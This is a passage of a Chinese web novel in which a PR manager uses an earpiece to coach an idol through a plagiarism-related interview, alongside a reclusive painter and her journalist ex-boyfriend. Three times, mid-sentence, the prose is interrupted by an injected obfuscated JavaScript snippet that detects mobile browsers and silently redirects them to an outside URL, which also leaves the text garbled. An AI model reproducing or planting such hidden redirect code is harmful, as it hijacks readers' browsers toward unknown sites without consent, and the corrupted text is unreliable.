“那怎么行?”向宁半真半假地提出反对意见,“这事本来就是况星宸做得不地道,要是还让您无偿帮忙,我们心里怎么过意得去?” 这不过是一句场面话。 实际上,向宁真正的心声是:如果他不收好处,双方的合作就不算真正谈成,枕安随时有权反悔,而且没有任何成本。 她讨厌这种握不住主导权,心里没底的感觉。 “这样吗?”枕安似乎相信了她的说辞,“如果实在过意不去,那就麻烦你也帮我一个忙吧。” “您说。” “喔,不好意思,帮我两个忙可以吗?” “嗯……我会尽力,具体需要做什么呢?” 枕安把那盘刚剥好的虾推到向宁面前。 “第一,既然咱们是同龄人,聊天时就别总夹着个‘您’字了,好吗?” 向宁的目光落在装虾的盘子上,愈发不理解枕安过于热情的绅士举动。 不过话说回来,对她们这个行业而言,每段人际关系都有可能发展为重要资源。既然现在枕安主动示好,她当然要牢牢抓住这条人脉,何必深究这份热情背后的原因呢? 想到这里,向宁不多迟疑,果断点头道:“好。” 枕安微笑的表情愈加熟练:“第二,你过几天来还画的时候,可以顺便帮我买一瓶醋吗?” “醋?”向宁很是意外,甚至怀疑自己听错了。 “嗯。”枕安一本正经地解释道,“家里的醋快用完了,我又懒得出门去买。” “只要一瓶醋?” “只要一瓶醋。” 目光真诚,没有丝毫耍心眼的痕迹。 “祝女士的面子还真大。”向宁微笑着瞟了一眼再次开始振动的手机,距离采访开始还有四分钟。 况星宸。 你这个狗东西。 可真是撞上大运了。 …… 倒计时的数字越来越小,况星宸终于等到了向宁的电话。 “姐,我亲姐,你到底谈妥了没啊?”他咬着牙,将声音压得很低,大约是不想被附近的人听到,“那个记者已经来了,都开始试麦了!” “冷静,深呼吸,记住——你在某次逛展时看到了枕安老师的作品,觉得和新歌的氛围高度契合,于是邀请他来指导你,在那幅画的基础上进行二创,并用作专辑封面。因为这次合作十分愉快,所以枕安老师还把那幅画送给你留作纪念了。之前你接受娱记采访时没有提及这一茬,只是为了留一个惊喜,在今晚的舞台上公布合作消息,顺便给枕安老师做宣传。记住了吗?重复一遍!” “记、记住了……合作,我们是合作,一起画了一幅画?然后把那幅画送给我了?纪念?宣传?”况星宸仍然无法冷静下来,“不是,时间这么紧,我哪记得住啊!你别老拽文词行吗?” 向宁不多跟他废话,厉声道:“把手机给刘哥!” 况星宸虽是不解,却也像扔一块烫手山芋似的,把手机扔给了身旁的经纪人。 刘哥接起电话,不明就里道:“啊?” “把这通电话连到他的耳返上!找小李或者小赵都行,她们会弄。” “哦哦,你的意思是,一会让他戴着耳返接受采访,你在背后指导?诶,可是这么一连,你那边就听不见这边的声音了啊?” 向宁不多解释,用另一个手机给刘哥打去了电话。 “采访地点是哪?”她问。 “况星宸的休息室。” “好,把你这个手机倒扣着放在桌子上,话筒朝向记者,旁边多堆点乱七八糟的东西,保持通话。” 刘哥这便明白过来,立马照做。 不料况星宸的耳返出了点问题,总是连接失败,好悬没把他吓出一身冷汗。 还是刘哥急中生智,热情地去给陶温倒水。可乐、雪碧、茶水、咖啡各一杯,费劲巴拉又拖延了两分钟,总算赶上了趟。 向宁这边也松一口气,靠在了椅背上。枕安坐在对面,放轻声音问道:“我能听听采访内容吗?” 向宁想了想,觉得并无不妥。 一方面,这些采访内容迟早要剪成视频公开发出来,没什么可保密的;另一方面,这场采访肯定会问到和枕安相关的问题,让当事人听一听也好,就当是事先串供了。 于是向宁打开手机扬声器,枕安把椅子挪到了她身边,陶温的声音也正好在这时传来。 “第一个问题,有网友发现您这张新专辑的封面和画家枕安的某幅作品高度相似,疑似抄袭,请问您如何回应?” 刚结束例行寒暄,一上来就戳死穴,还真不给况星宸留面子。 向宁不慌不忙,把先前那段说辞掰开了揉碎了,由况星宸一句一句复述出来。 “哦,是这样。”陶温虽然不信,却没有明显地表现出来,“在您的印象里,枕安老师是个什么样的人,可以简单描述一下吗?” 况星宸佯装思考,将问题重复了一遍,在拖时间的同时把皮球踢给了向宁。 枕安斜靠着餐桌,继续托腮看着向宁,似乎也在期待她的回答。 向宁飞速思考起来。 如果只吹捧枕安的画技或者品行,虽然中规中矩不会出错,但是这样无聊的场面话,即便没见过他本人,也能够随口编造出来,不足以令陶温信服。 要怎么回答才能凸显况星宸和他交情匪浅呢……向宁一抬眼,目光扫过餐桌,立马有了主意,于是在常规答案之外补充了一句—— “其实让我印象最深刻的一点是,枕安老师做饭非常好吃。能多吃一口他做的饭,让我多做几组俯卧撑都行。” 为了提升路人群体的泛好感,况星宸近期一直在营销“笨蛋帅哥吃货人设”。这样回答,在贴合人设的同时也告诉了粉丝:不用担心,我有在做身材管理啦,不会因为吃得多就发胖的! 然而事实上,每次况星宸心血来潮点上一大堆高热量食物,总是拍完照发完微博就放下不管了,真正被迫做“吃货”的全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797490|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是工作室里的小伙伴。 招聘启事上管这叫——随机掉落下午茶福利。 况星宸这时已经放松不少,复述完向宁的话,竟然又开始自由发挥,大肆夸赞起枕安的艺术成就和个人品格来。 向宁听得太阳穴直跳,连忙叫停,一连喊了三次“闭嘴”,音量一次比一次大。 况星宸的声音戛然而止。 顶着陶温狐疑的目光,他只好假装咳嗽,拖着时间猛灌几口热茶,才算是遮掩了过去。 枕安在一旁小声打趣道:“怎么突然打断他?觉得他言过其实,你听不下去了?” 向宁关了麦,无奈地扯了扯嘴角:“我是为你好。” “怎么说?”枕安好奇地凑近几分,洗耳恭听。 “要是真的放任况星宸满嘴跑火车,把你夸成一朵花,你就不怕他的粉丝顺水推舟拉郎配,开始战略性嗑你们俩的cp,给况星宸贴万人迷标签吗?” 枕安笑容一僵,似乎有些反胃。 向宁觉得他的反应实在有趣,便继续逗他:“宣传方向我都想好了——高岭之花艺术家为爱堕入凡尘,洗手作羹汤。” 枕安的眼神闪了闪,扭过头去不再看她。 况星宸那边采访继续。 陶温接着挖掘疑点,问道:“在此前的合作过程中,您和枕安老师有留下合照,或者其他影像资料以作纪念吗?” “当然有。” 枕安听向宁说得斩钉截铁,立马警觉起来,对她表明了态度:“我不会配合他补拍合照的。” 向宁比了个“OK”的手势,她原本就没打过这么越界的算盘。 陶温追问道:“您这边方便提供一到两张合照吗?我们台最近要做一个青年艺术家的专题节目,可以帮您二位一起宣传。” 直钩戳着大饼钓鱼,还真把况星宸的心思给钓活络了。 向宁赶忙提醒他注意表情管理,尽量表现出为难的样子。 “抱歉,枕安老师非常注重保护个人隐私。我答应过他,私下的合照只用来留念,不会发布到任何公共平台。” 枕安听完,不由给向宁投去一个惊讶的眼神,意为:你怎么知道?我的行事风格确实如此! 更出乎他意料的是,向宁竟然读懂了那个眼神,得意地眨了眨眼,玩笑道:“我有读心术。” 枕安凝视着她的双眼,仿佛短暂地相信了一瞬,待她移开目光,他也想通了个中关窍,于是自言自语般嗔道:“骗子。” 其实他的个性并不难猜——明明在圈内有一定的知名度,却没有任何认证账号,而且搜遍全网都没有详细信息,更找不到半张照片。仔细想想,大概率就是有意在保护自己的隐私吧。 至于陶温那边,接下去一连几个问题都没问出破绽,难免有些挫败感。 转念一想,却是心如明镜——他不过是输给曾经最亲密的老对手罢了。 不过,不会一直输的。 眼下况星宸借口补妆,又拖延起了时间。陶温只好一边整理采访记录,一边端起纸杯,打算润润嗓子。 桌上乱七八糟堆着许多东西,陶温又是个眼里有活的,在放回杯子时,忍不住随手收拾一二,将周围东倒西歪的物品摆正了。 失去杂物的遮蔽,一部倒扣在桌面上的手机忽然吸引了陶温的目光。 话筒直对着他所在的方向,代表正在通话中的呼吸灯一亮,一灭,闪动着微弱的光芒。 9. 别想赢她 况星宸正在补妆,只顾着欣赏镜子里自己的“绝世美颜”,完全没注意到陶温的动作。 刘哥却因为心虚,一直盯着桌上埋着手机的那堆杂物。此刻见陶温挖出宝藏,他的心都提到了嗓子眼,盘着桃核手串念了几句菩萨保佑,只盼对方不要刨根究底。 陶温果然没有深究,很快就移开了目光,漫不经心地端起另一杯水轻抿几口,随手往桌上放去。 不知是无心还是有意,他手上一滑,杯身一歪,立时打湿了一片桌面。 “不好意思不好意思!水洒出来了,还好手机没湿。” 陶温一边高声致歉,一边迅速拿起杂物旁的手机,翻到正面去看屏幕。 通话界面一闪而过,他还没看清屏幕上显示的联系人姓名和电话号码,就被锁屏界面的自动人脸识别绊住了脚。 其实早在他摆弄杂物发出噪音时,向宁就察觉了异常。听到杯子倒下的声音后,她便猜到这是陶温在出招,于是当机立断,挂掉了电话。 刘哥不明情况,慌忙跑来接过手机,念叨着:“原来放这了啊,我说呢,刚才找了半天都没找到手机。真是多亏你了,记者小哥,谢谢哈。” 点亮屏幕一看,通话已经断了。 因为不知道是哪边挂断的,他心里有些忐忑,于是跑到角落里给向宁打去电话,确认完情况才放心。 “现在怎么办啊?” “别慌,一会记者问什么,你就小声跟我复述一遍。只要耳返还在,就不会出大问题。” 然而墨菲定律作为况星宸工作室的唯一真神,此刻再次发挥了神力。 陶温摆出一副温柔无害的神情,微笑道:“况星宸老师,我刚刚才注意到您戴了耳返,请问方便摘一下吗?” “啊?为什么?”况星宸往沙发深处坐了坐,向刘哥投去求助的目光。 刘哥立马出来解围:“他刚做好造型,频繁摘戴耳返可能会把发型搞乱。还有十几分钟就要开场了,万一出现什么问题,实在来不及处理。” 陶温面露难色,一本正经地胡扯道:“是这样,摄像老师刚才跟我沟通了一下,说况星宸老师的白色耳返是亮面的,拍出来反光非常严重,搞得画面一会过暗,一会过曝。如果一直戴着耳返,今晚拍的这些素材可能就都变成废片了。” 况星宸一听这话,连忙扯下耳返,生怕影响了他的出镜机会。大不了,一会回答问题时多注意点就是了。 向宁听完刘哥的实时转述,用筷子狠狠插了块排骨,嚼得脆骨咔嚓作响。 不错嘛,陶温。这一招就算你追平比分了,但是这一局,你别想赢我。 “你现在就去跟记者说,采访时间已经过半了,希望他能多问点和况星宸本人相关的问题,少问无关人员,这毕竟是况星宸的个人专访。” 刘哥立马跟陶温提了建议,不过调整了语气,表意也更加委婉。 陶温很给面子:“好,我再问一个延伸问题,后面的问题都专注于艺人本身。” 刘哥和况星宸对视一眼,心里藏着同样的担忧——求求了,他可千万别问什么偏题难题怪题啊…… “这个问题,其实算是出于我的一点小私心吧。枕安老师一直十分低调,但是包括我在内的很多小粉丝都在好奇,他究竟长什么样子?” 陶温撒谎的功力不比向宁差,事实上,他只认识美术课本里出现过的画家,才不是枕安的粉丝呢。 “况星宸老师,可以为我们描述一下吗?” 他就赌况星宸连枕安的面都没有见过。既然现在已经摘了耳返,没了外援,那么一定会露出破绽。 “这个……刚才我也说了,枕安老师他……非常注重保护个人隐私……” 况星宸还想用这个理由搪塞,但是在陶温这里,一招鲜从来都不能吃遍天。 “只是文字描述,一千个听众就有一千种理解,应该不算泄露隐私吧?” 况星宸只好用废话拖延时间:“这样啊……你说的很有道理。这个问题,也不是不能回答。但是要怎么回答呢?我还得好好想想,怎么才能在不泄露枕安老师隐私的前提下,给出让他粉丝满意的答案呢。人嘛,都是两条眉毛,两个眼睛,一个鼻子……” “怎么办?怎么办?”刘哥小声催促向宁,“我离他好几米远呢,传不了话!” 向宁决定死马当作活马医:“你就让况星宸照着他自己描述!使劲指他试试?但愿他能看懂。” 枕安本想反驳一句,况星宸哪里像他了?可是一看到向宁愁云满面,焦急蹙眉的样子,就不由自主地把抱怨的话咽回了肚子里。 算了,不给她添乱。 刘哥当即照做,但是手都快指抽筋了,况星宸也没明白他在暗示什么。 “不管用啊!他看不懂!” 向宁头脑风暴一番,急中生智道:“找个化妆镜!冲他脸晃!” 这一招居然十分奏效,况星宸一看到镜子里自己的脸,马上就理解了指令。 “这么说吧!”他忽地翘起二郎腿,往沙发背上靠去,“枕安老师的长相,就是八个字——超级无敌爆炸帅!” 陶温幽幽道:“这是七个字。” 况星宸愣了一下,嘴硬道:“哈哈,我刚才玩了个小幽默,哈哈。” 陶温追问更详细的描述,况星宸就把他的自恋台词一箩筐全倒了出来。 枕安在电话那头越听脸色越差,向宁在一旁揶揄道:“怎么了,听人夸你还不高兴啊?” 枕安心如死灰地摇摇头:“我是怕他粉丝嗑我和他的cp……” 向宁见自己先前的玩笑话给他留下心理阴影了,便宽慰道:“放心啦,这个问题明显是记者给他挖的陷阱,不会真被剪进成片里的。” 枕安并不了解这些弯弯绕绕,疑惑地问:“嗯?你怎么知道?” 向宁思索一二,故作神秘状,让他附耳过来,却仍旧道出那个不正经的答案:“因为……我有读心术。” 枕安笑着叹了口气,一手托腮看向她:“那你能读出我现在想说什么吗?” “当然,两个字嘛。”向宁模仿着他托腮的动作,歪头笑道,“骗子。” 休息室里,陶温听完况星宸夸人亦是自夸的溢美之词,终于按照之前的约定问起了老掉牙的三件套——心路历程、自我评价、未来展望。问题和答案都是又无聊又安全。 刘哥长出一口气,省下了一颗降压药。向宁却怎么听怎么觉得,陶温有点消极抵抗的意思。 后半场采访的进度极快,提前几分钟就结束了。 陶温收起话筒,跟况星宸握了握手,笑容可掬道:“谢谢配合。您都是顶流偶像了,还这么有亲和力,完全没有耍大牌,真是难得。” 况星宸被吹捧得有些飘飘然,故作谦虚道:“过奖过奖!” 他在这方面可精着呢。 对没背景的小娱记耍耍大牌也就算了,只要别慢待了官媒的正经记者就行。上一个因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797491|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为耍大牌、放鸽子得罪了官媒的明星是怎么凉的,他可是记得一清二楚。 “对了,您刚才说,枕安老师把《回忆余烬》送给您了,是吗?”陶温一脸认真。 “啊?是的,是的。”况星宸急于自证,主动提议道,“你想看看原件吗?我可以让助理现在就送来。” “不用了。” 陶温心里清楚,既然向宁敢让况星宸这样回答,那么这幅画目前肯定在他们手上,没法借此抓到他撒谎的证据。 “我只是在想,既然枕安老师愿意把这么重要的作品送给您,你们的关系一定很好吧!”陶温继续表演。 况星宸已经被架上了高台,肯定不会否认:“那是当然,我们差不多算是好朋友了!” 陶温意味深长地一笑:“正好,我过几天要去采访他,可以从另一个角度了解你们的友情,您的专访内容也会更丰富的。” “什么?” 况星宸和向宁异口同声,枕安本人也颇感意外,无辜地摇摇头,与向宁对视道:“我不知道有什么采访,记者应该是在吓唬他吧?” “时间差不多了,”陶温看一眼手表,招呼台里的同事离开休息室,“您也该候场了,况星宸老师。” 在工作人员的催促下,况星宸迈着虚浮的脚步赶赴上场口,期间再三叮嘱刘哥,一定要让向宁和枕安谈好条件,统一口径,否则他就要沦为小丑了。 向宁这时正收拾东西准备离开,犹豫着开口商量道:“如果这段时间有记者联系你……” “我会拒绝采访的。” “谢谢。” 枕安摇摇头表示不用谢:“我本来就不喜欢和陌生人接触,就算没有这档事,也不会接受采访的。” 向宁回以一笑,细琢磨起来却觉得这理由讲不通——几个小时前,自己对枕安而言不也是陌生人么,他不是照样同意见面了? 再想一想,又觉得能把逻辑圆回来——也许是祝璋的面子大,自己沾了她的光吧。 二人告别时,向宁约好了周末上门还画。 枕安靠在楼梯扶手边,目送着她一步步离开,直到渐远的脚步声彻底消失。 回到家里,他将一只刚开封不久的醋瓶藏进橱柜深处。 再走进冷清的画室,闹钟的机械音已经响了许久。 枕安拨开地上杂乱的画布堆,面无表情地关掉闹钟。他知道,该吃药了。 可他却没有动作。 在画布堆里躺了许久,直到干透的颜料在耳畔发出细微的碎裂声,他才终于有力气坐了起来。 大脑放空许久,他忽然决定发一条短信,于是昏昏沉沉地摸出手机,通讯录里只有两个联系人——祝璋姐,裴医生。 在输入框里删删改改,枕安最终还是放弃了解释事情的来龙去脉,只说结论。 “祝璋姐,下周要上拍的那幅画也不用给我分账,就当我为这次搅局道歉了。” 枕安知道自己今晚的任性举动惹恼了祝璋,可是他有必须这么做的理由。 点开通话记录,他把向宁的手机号存为第三位联系人。 不多时,祝璋打来电话,开口便问:“她走了?” “嗯。” 祝璋叹了口气:“现在有时间细说了吧?你和这位向宁小姐,究竟有什么渊源?” 枕安推开椅子,坐在飘窗上,大理石台面带着浓重的凉意。 窗外的夜空很陌生。 能看见星星。 10. 看在猫的面子上 麦秋在餐馆门口和向宁汇合,还没上车就兴致勃勃地问起了今晚的采访情况。听到化妆镜那一节,竟险些笑岔了气。 上车后好不容易笑过了劲,向宁马上交给她一个重要的任务。 “把这幅画保护好,千万别有什么磕碰。这要是剐了蹭了的,我可赔不起。” “好嘞!” 麦秋小心翼翼地把画框抱在怀里,找相关的话题聊起闲天来:“向宁姐,我好像猜到祝璋为什么说这幅画是枕安最看重的作品,没有之一了!” “哦?怎么说?”向宁来了兴致。 枕安这么轻易就把画借了出去,她还以为祝璋给的情报又不准了呢。 “你还记得有批评家说枕安的作品和一位外国画家风格相似吗?”麦秋问。 “记得有这么一回事,不记得是哪位画家了,外国人名字实在太长。怎么突然问这个?” 麦秋一边回忆一边回答:“我刚才又搜了搜网上的资讯,这才知道,原来枕安不仅仅是作品画风像她。” “还有哪里像?” “那位外国画家是知名的‘猫猫教教徒’,平生最爱画猫,极少画人。” “这么说,枕安也是?” 麦秋不再卖关子:“嗯哼!他公开展出过的所有作品里,绝大多数画的都是猫,极少数是风景画,只有一幅……不,只能算是半幅人像画。” 答案无需多言,就是她怀里这幅《回忆余烬》。 麦秋猜测道:“据我分析,画里的这个女孩一定有现实原型,很有可能是枕安的白月光、朱砂痣什么的!而且你看她穿着中学校服,说不定他们就是中学同学呢?” “有道理,小秋同学最近很有长进嘛。”向宁笑着点点头,忽然想到了什么,便脱口而出,“会是祝璋吗?” 麦秋是实干派,很快就搜到了祝璋出席企业家峰会的宣传照,仔细端详一番后说道:“不像。这幅画虽然没画脸,但是其他地方都很写实。祝璋的脖子侧面有一片很漂亮的胎记,像花瓣似的。如果枕安画的是她,没道理不画这片胎记。” 向宁想了想,说道:“会不会是咱们想多了?也许他就是因为不擅长画人像,所以才很少有公开展出的作品吧?喏,唯一一幅,还没画脸。” “对哦!也有这个可能。”麦秋总是很愿意被向宁说服。 二人有一搭没一搭地聊着八卦,车走在时顺时堵的路上,直到演唱会进程过半才到达场馆门口,刘哥早就收到消息,出来接人了。 来到后台,向宁又恢复了战斗模式。 “新歌还没唱吧?”她问。 “没有,按你的要求改成压轴曲了,还早呢。”刘哥答。 “那就好。”向宁从麦秋手里接过画来,“这幅画是枕安借给咱们的原件,一会况星宸唱新歌的时候,让它在聚光灯下亮个相。当成舞台道具就行,轻拿轻放。” “好,我马上安排。需要况星宸在台上专门解释一下抄袭争议吗?” “不用这么正式,随口提一句这幅画是枕安老师送给他的合作礼物就行,剩下的粉丝自己会脑补。” 刘哥心领神会,拿着画走在前面。 向宁示意麦秋跟上:“今晚你就这一个任务,保护好画,别让它离开你的视线。” “Yes,madam!” 安顿好一切后,向宁打算去员工休息室喘口气,没想到在门口见到了陶温。 过道很窄,他曲着一条腿靠在一侧墙边,低头摆弄着手中的相机,察觉到她走来也没有抬头。 还是那副打扮。 一身收腰的深色西装,从袖扣到皮鞋无一不精致,身后那个硕大的双肩背包却破坏了这份都市精英的氛围感。 “我同事不是说你们台的人都走了吗,这怎么还有条漏网之鱼呢?”向宁不客气地拿过相机看了看,小声揶揄道,“都没开机,别凹造型了。” 余光瞥见陶温的小指上戴着一枚戒指。 那本是他送给她的纪念日礼物,分手那天她还了回去,没想到他还留着。看来是戴在其他手指上都有点紧,只能当成尾戒了。 陶温听向宁主动搭了话,这才抬头看她。目光定格在那双他永远读不懂的眼睛上,忽有片刻失神,不过很快就调整好了状态。 他拿回自己的相机准备收进包里,有意无意道:“我还以为你这辈子都不会主动跟我讲话呢。” 向宁靠在他对面的墙上,抱臂抬头道:“少揣测圣意了,有本启奏,无本退朝。” 陶温只跨一步就换了边,靠在向宁身旁的墙壁上。 “无本,只是想跟你知会一声,”他偏头去观察她的反应,“今晚的采访内容里,所有和枕安相关的部分,我都不打算放进成片里。” 至于合理的借口,他也早用耳返反光的瞎话铺垫好了。 向宁侧过身倚在墙边,打趣道:“怎么,嫌况星宸答得不好?” 陶温冷笑一声,躲开她的目光:“你教得很好,所以我才要剪掉那些内容。否则,不是用我们台的公信力帮他背书了吗?” 向宁凑近他半步,疑惑问道:“他的专访真能在你们台播吗?我怎么觉得不太够格呢?” “当然不够格。”陶温也悄悄凑近半步,只是仍然别扭地不去看她,“是要发在我们公众号的每日推送里。末篇,默认被折叠进去的那种。” 哦。 这就合理多了。 “没事,只要和你们台这块金字招牌沾点亲带点故,就够他粉丝高兴好几天了。” 陶温没好气道:“你成心气我是吧?” 向宁最喜欢逗人,于是故意回怼道:“那你怎么还没被气走呢?” 陶温重重呼出一口气,转身便走。 向宁望着那个气呼呼的背影数步子,才数到7,他就走了回头路。 “有本启奏?”她笑意盈盈地问。 陶温没接话,只从背包里拎出一个满满当当的纸袋,直接塞进向宁手里。 “这个你拿着。” 袋子很沉,向宁下意识就要推拒:“你这算什么……” “不是给你的。”陶温皱起眉,看着很是严肃,“给孩子的。” 向宁打开纸袋,原来里面整整齐齐装着许多猫罐头。 “咱……”陶温磕巴一下,很有自知之明地换了措辞,“你闺女喜欢吃这个牌子的罐头。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797492|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>说完还不忘补上一句吐槽:“快一岁了,连个大名都没有,你就叫人家‘猫猫’,我都替孩子委屈。” “有大名啊!它本来就是猫,姓猫,叫猫,不是天经地义吗?”向宁反驳完,又把纸袋递回给陶温,“至于这些,你要不还是拿回去退了吧。” 陶温向后躲开她的动作,无奈道:“你就这么烦我啊?” “也不是,主要这东西挺贵的……” 她知道,陶温他们单位虽然看着光鲜亮丽,名头也挺唬人,实际到手工资并不算高。在这寸土寸金的地界,根本存不下多少钱。 “不想欠我人情啊?”陶温微微向前倾身,“那好办,你请我吃顿饭,咱们就算两清了。” “我没有——” “知道,你没有和前男友一起吃饭的习惯,我耳朵都要听出茧子了。” “才听两遍就起茧子,那你的耳根子也太嫩了点。”向宁调侃完正色道,“换个条件。” “没什么可换的。” “没有就现想一个。”向宁态度坚决,“三分钟,想不到的话,这礼我就心安理得地收下了,以后你也别提这份人情。” 陶温只得重新思考。 其实他很快就想到答案了,只是因为想和她多待一会,才慢吞吞拖了许久,卡着倒计时的拍子开口道:“想到一个,就怕你不答应。” “你不说怎么知道我不答应?” 既然话已经说到这个份上,陶温也不再玩推拉游戏了。 “我想拜访一个人,不知道你愿不愿意帮忙牵线。” “谁?” “枕安。” 听到这个名字,向宁不由警惕起来,难道他还惦记着要戳穿况星宸的谎言吗? 陶温解释道:“我之前说我们台要做一个青年艺术家的专题节目,这是真事。组长给我列了个单子,上面的其他人我都约好了,唯独这位枕安老师,我问了圈内的很多朋友都联系不上他。这段时间我正头疼呢,没想到居然这么巧,在你身上找到突破口了。” 向宁摇摇头:“找我也没用,他不喜欢接受采访。” 陶温见她说得笃定,好像与那人十分相熟似的,便下意识有些吃味:“我就说你不会答应……算了。” 他心里堵着气,头也不回地走了。 向宁低头瞥了一眼纸袋里的罐头,轻叹一声。 好吧,就当是看在猫猫的面子上,这周末帮他问一句吧。 后半场演唱会一切顺利,向宁回到家时,超话里的风向已经变成了“况星宸清清白白大男孩”、“又是挡了谁的路”、“清者自清,造谣者孽力回馈”、“你可以永远相信况星宸”等等。热搜词条也被粉丝和水军一起洗了个干净。 向宁给猫猫开了个罐头,托着腮趴在床上看完了它的整场“吃播”,越看越饿。 打十六岁起就没再做过饭,她的手艺早退步了,眼下又不想等外卖,只得煮了些速冻饺子。 这玩意也挺神奇的,煮熟了闻着倒是很香,吃进嘴里却越嚼越没味。 吃到第三口,向宁就默默下定了决心—— 周末早点去枕安家吧。 说不定还能蹭顿饭。 11. 她的读心术不准 周六中午,向宁是被猫猫舔醒的。 脸上一股猫粮味,洗了两遍都不确定有没有完全祛除,也许是心理作用。 眼瞅着已经错过了饭点,向宁只好随便用水果面包垫垫肚子。 借来的画在自家放了几天,搞得她提心吊胆的,今天终于可以物归原主了。 枕安家楼下就有超市,最贵的醋也要不了多少钱,向宁索性多买了几瓶一起带上楼去。 枕安画了许久的画,没注意时间,也错过了午饭,直到向宁上门才想起这一茬。 “你吃过饭了吗?”他锁上画室,带着向宁进了对门房间,“如果还没有,就留下一起吃吧。” 没想到蹭饭计划歪打正着,向宁笑道:“那我就不跟你假客气啦。” 前几天那盘速冻饺子可把她膈应坏了,非得吃点好的补一补才行。 “想吃什么?”枕安一边系围裙一边问道。 “都行。”毕竟是来蹭饭的客人,向宁也不好给主人家提什么要求。 枕安正在埋头苦思“都行”一题该作何解,就被向宁的手机铃声打断了解题思路。 那铃声是游戏里的战斗BGM,也是她给陶温新换的专属铃声——既然他现在是文艺频道的记者,以后免不了要和她多交手几次,换个作战音乐比较有氛围感。 向宁走到一边接起电话:“什么事?” “你们公司也太黑了吧!” 一开口语气就这么冲?听上去倒像是来兴师问罪的。 “虽然不知道前因后果,但是这句话也没什么毛病。”向宁饶有兴趣道,“发生什么了?告诉我,说不定我还能陪你骂两句呢。” 陶温没想到她会是这样的态度,这一拳打到棉花上,竟莫名其妙地消了一半的气。 “况星宸的专访视频你看了吗?”他问。 “看了,很无聊,没爆点,也没风险,蛮好的嘛。”向宁随手玩着自己的头发,“所以呢?说重点。” “行,重点就是——”陶温咬牙切齿道,“推送发出去没多久,况星宸有些粉丝就开始嗑我和他的cp。这才一晚上的工夫,不光产出有了,超话建好了,甚至连我的微博评论区都被污染了!你也知道我们单位的性质特殊,我想暗戳戳怼回去都不行,憋屈死了!” “啊?是吗?” 向宁立马用另一个手机搜索他们的名字,发现的确如此,不由打趣道:“嚯,热度最高的这个视频剪得还挺好诶……我之前怎么没发现呢,你看他的眼神都拉丝了。” “糊上一层粉色泡泡滤镜,再把视频放慢那么多倍,我就是看老台长也会眼神拉丝的好吗!?” 向宁噗地笑出了声,故意念出一条令人尴尬的评论:“啊我死了,小陶老师戴上金丝眼镜就是教科书级别的斯文败类吧!纯路人,但是感觉他看况星宸的眼神好有侵略性哦,酱酱酿酿起来一定可以大战八百回合吧!求代餐文!” 陶温连声告饶,向宁却不住口,越往后读就笑得越厉害,连正在厨房里忙活的枕安都抑不住好奇心,探出头来查看情况。 向宁见他感兴趣,便把正在播放cp视频的手机塞给了他。 “废话!”陶温仍在坚持自证清白,“我当时满脑子都想着要找出他的破绽,眼神当然有侵略性啊!” 向宁笑得肚子疼:“跟我解释有什么用?反正粉丝们现在已经认定了——我们宸宸果然是人见人爱的好宝,任你是哪个台的记者,都要拜倒在万人迷的石榴裙下!” “别恶心我,算我求你。”陶温听起来真的要干呕了。 向宁看够了笑话,见好就收,安慰道:“放心啦,这种热度来得快,去得也快,没有长性的。她们又不可能真的相信你对况星宸一见钟情,原地变弯。之所以强行拉郎,只不过是想蹭一蹭你的职业光环,给他脸上贴金罢了。何况这种cp大多是粉圈自嗨,没有路人愿意嗑,不会对你的荧幕形象有什么负面影响的。” “但愿吧……”陶温有气无力道,“这个cp炒得莫名其妙,除了粉丝以外,你们公司也在背后出力了吧?” “不太清楚,应该没有吧。”向宁直言道,“说实话,有粉丝自发冲在前面排兵布阵,我们公司真犯不上花这个钱,费这个事。” “真不是你干的?” “怎么感觉你听起来还有点失望呢?” “当然失望了!”陶温长叹一声,“我本来想着,如果是你出的损招,我就能以此为由提出补偿方案,让你帮忙引荐一下枕安老师呢。反正已经被人利用了,总不能彻底吃个哑巴亏吧?” 向宁扭头去看枕安,他仍在翻阅超话里的帖子,表情不像单纯的“大开眼界”,似乎还有几分后怕。 嗯,倒也合理。 毕竟从某种层面上讲,陶温也算帮他挡了一灾。 “行了,别在我面前玩这套以退为进。”向宁收起笑容,“我帮你问问他就是了,等消息吧。” 陶温原地满血复活:“真的!什么时候问?” “现在。” 向宁挂掉电话,清了清嗓子道:“枕安老师,不好意思,打扰一下。” 枕安不明就里地问:“怎么又变得这么客气了?” 向宁熟练地摆出商业假笑:“有求于人,客气点好。” “你还是有话直说吧,”枕安把手机还给她,“现在这样,我不太习惯。” “好呢。”向宁恢复了自然的表情,只是在介绍陶温的身份时停下思考了一瞬,“视频里那个倒霉的记者是我……朋友。他托我问问你,愿不愿意接受他的采访邀约?” 